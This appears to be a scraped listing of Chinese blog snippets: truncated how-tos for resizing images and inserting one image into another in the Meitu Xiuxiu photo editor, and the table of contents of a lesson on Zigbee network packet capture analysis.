在浏览器里搜索美图秀秀&#xff0c;并点击下载 2安装之后&#xff0c;打开美图秀秀&#xff0c;选择图片美化 3选择打开一张图片&#xff0c;添加需要修改的图片 4此时图片添加完成&#xff0c;点击左侧的尺寸修改 5点击取消锁定高宽比例 6修改高宽尺寸为344482&#xff0c;点…

lesson6 ZIgbee网络特性抓包分析

目录 ZIgbee网络特性抓包分析 理论部分&#xff1a; 实验部分&#xff1a; 入网前相关数据帧&#xff08;仅单个设备供电&#xff09;&#xff1a; 首先以路由器和协调器为例&#xff1a;&#xff08;帧的类别从头部的Type可以看到&#xff0c;在四大帧类别中根据不同作用也…

美图秀秀——在一张图片上加入其它图片

将图片拖进美图秀秀将光标放到图片区域鼠标右键-插入一张图片